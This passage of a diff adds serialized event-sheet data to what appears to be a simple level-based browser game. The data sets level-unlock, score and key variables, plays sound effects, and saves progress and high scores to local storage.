+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 873196551169989,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 390330869769129,
+ false,
+ [
+ [
+ 4,
+ 332
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 934833730174902,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 11
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 332,
+ 50,
+ null,
+ 835600084479491,
+ false
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 419863236237914,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 332,
+ 90,
+ null,
+ 390905345220245,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 634420885557951,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 100
+ ],
+ [
+ 0,
+ 200
+ ],
+ [
+ 0,
+ 300
+ ],
+ [
+ 0,
+ 400
+ ],
+ [
+ 0,
+ 500
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 185482327467883,
+ false,
+ [
+ [
+ 2,
+ [
+ "efecto3",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 464085388608680,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 614125371105783,
+ false,
+ [
+ [
+ 4,
+ 548
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 600677369417370,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 5
+ ],
+ [
+ 7,
+ [
+ 0,
+ 11
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 548,
+ 50,
+ null,
+ 657514629797109,
+ false
+ ],
+ [
+ 548,
+ 90,
+ null,
+ 826083517494829,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 548,
+ 90,
+ null,
+ 726771822953461,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 91,
+ null,
+ 369850932591285,
+ false,
+ [
+ [
+ 11,
+ "Score"
+ ],
+ [
+ 7,
+ [
+ 19,
+ 81,
+ [
+ [
+ 0,
+ 100
+ ],
+ [
+ 0,
+ 200
+ ],
+ [
+ 0,
+ 300
+ ],
+ [
+ 0,
+ 400
+ ],
+ [
+ 0,
+ 500
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 508648289187462,
+ false,
+ [
+ [
+ 2,
+ [
+ "regalo",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 151043692879091,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 618377469577547,
+ false,
+ [
+ [
+ 4,
+ 498
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 498,
+ 50,
+ null,
+ 938209212169641,
+ false
+ ],
+ [
+ 498,
+ 90,
+ null,
+ 640279208715878,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 498,
+ 90,
+ null,
+ 826085875126588,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 437622189312550,
+ false,
+ [
+ [
+ 11,
+ "key1"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 659185597118058,
+ false,
+ [
+ [
+ 2,
+ [
+ "key",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 180853033305594,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 517029423001606,
+ false,
+ [
+ [
+ 4,
+ 518
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 518,
+ 50,
+ null,
+ 457287488922230,
+ false
+ ],
+ [
+ 518,
+ 90,
+ null,
+ 117158428598496,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 518,
+ 90,
+ null,
+ 526894080153291,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 537932085358842,
+ false,
+ [
+ [
+ 11,
+ "key2"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 194109588091924,
+ false,
+ [
+ [
+ 2,
+ [
+ "key",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 977033425065869,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 908737693841800,
+ false,
+ [
+ [
+ 4,
+ 519
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ 519,
+ 50,
+ null,
+ 431929162497851,
+ false
+ ],
+ [
+ 519,
+ 90,
+ null,
+ 439723645779201,
+ false,
+ [
+ [
+ 4,
+ 349
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ 519,
+ 90,
+ null,
+ 629499597154148,
+ false,
+ [
+ [
+ 4,
+ 354
+ ],
+ [
+ 5,
+ [
+ 2,
+ "Game"
+ ]
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 31,
+ null,
+ 132508073086059,
+ false,
+ [
+ [
+ 11,
+ "key3"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 184014644499198,
+ false,
+ [
+ [
+ 2,
+ [
+ "key",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 566196660834490,
+ [
+ [
+ 324,
+ 62,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 568625039264533,
+ false,
+ [
+ [
+ 4,
+ 352
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 644579748208080,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 0
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 159178294649822,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 92,
+ null,
+ 801024378327104,
+ false,
+ [
+ [
+ 4,
+ 356
+ ],
+ [
+ 5,
+ [
+ 2,
+ "UI"
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 400
+ ]
+ ],
+ [
+ 0,
+ [
+ 0,
+ 240
+ ]
+ ]
+ ]
+ ],
+ [
+ 351,
+ 93,
+ "LiteTween",
+ 121574818556213,
+ false,
+ [
+ [
+ 3,
+ 0
+ ],
+ [
+ 3,
+ 0
+ ]
+ ]
+ ],
+ [
+ 4,
+ 33,
+ null,
+ 620131756367148,
+ false,
+ [
+ [
+ 2,
+ [
+ "winner",
+ false
+ ]
+ ],
+ [
+ 3,
+ 0
+ ],
+ [
+ 0,
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ 1,
+ [
+ 2,
+ ""
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 988809936667215,
+ [
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 249037805770653,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level1"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 237796092577746,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 949457650235893,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 493071892000117,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 259116168645985,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 348727298241766,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 515923462838594,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 715575969312068,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 838295713538393,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 550456329955931,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 742494107804701,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level2"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 884566952585572,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 2
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 641007432500360,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 213254709736260,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 541597033392139,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 290038295750255,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 913105649265879,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 293854193366800,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 658951967056292,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 471357578941347,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level3"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 216283509007223,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 3
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 135543282939504,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 262309102751137,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 204833379398531,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 875607146298095,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 305834054772469,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 204701622762442,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 524926987076724,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 783834825630659,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level4"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 895177678820742,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 4
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 675140974597067,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 336272076920007,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 510551088407320,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 725639082923469,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 365002471506888,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 616932117594298,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 882169076263364,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 297998952143810,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level5"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 955072536983245,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 5
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 705711949324805,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 6
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 464578869716012,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 246210675020852,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 197631042030935,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 815556245112822,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 957680662805038,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 855786213997723,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 237694340258456,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level6"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 385686490117742,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 6
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 118315355272095,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 7
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 903937076433194,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 617940334121664,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 869500159747805,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 743471803606665,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 939288800802631,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 849852012147133,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 947632477396540,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level7"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 938507555419374,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 7
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 608401300506753,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 8
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 135519671046345,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 455744712804575,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 557503425195286,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 564142576041689,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 903670510702083,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 201972504468247,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 458705693553118,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level8"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 347644115691740,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
+ 8
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ [
+ -1,
+ 31,
+ null,
+ 973210430644758,
+ false,
+ [
+ [
+ 11,
+ "Levelunlocker"
+ ],
+ [
+ 7,
+ [
+ 0,
+ 9
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 159985361648243,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redlok3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ]
+ ]
+ ],
+ [
+ 10,
+ 94,
+ null,
+ 988431363956250,
+ false,
+ [
+ [
+ 7,
+ [
+ 2,
+ "score"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 163126543648419,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "Score"
+ ]
+ ]
+ ]
+ ],
+ [
+ 9,
+ 45,
+ null,
+ 781451979867305,
+ false,
+ [
+ [
+ 1,
+ [
+ 2,
+ "redhighscore3"
+ ]
+ ],
+ [
+ 7,
+ [
+ 23,
+ "endlesshigh"
+ ]
+ ]
+ ]
+ ]
+ ]
+ ],
+ [
+ 0,
+ null,
+ false,
+ null,
+ 721769887707107,
+ [
+ [
+ -1,
+ 43,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 290406076735180,
+ false,
+ [
+ [
+ 11,
+ "endlevel"
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 0,
+ 1
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 690547699731898,
+ false,
+ [
+ [
+ 7,
+ [
+ 19,
+ 83
+ ]
+ ],
+ [
+ 8,
+ 0
+ ],
+ [
+ 7,
+ [
+ 2,
+ "Level9"
+ ]
+ ]
+ ]
+ ],
+ [
+ -1,
+ 65,
+ null,
+ 0,
+ false,
+ false,
+ false,
+ 410367849057500,
+ false,
+ [
+ [
+ 7,
+ [
+ 23,
+ "Levelunlocker"
+ ]
+ ],
+ [
+ 8,
+ 3
+ ],
+ [
+ 7,
+ [
+ 0,
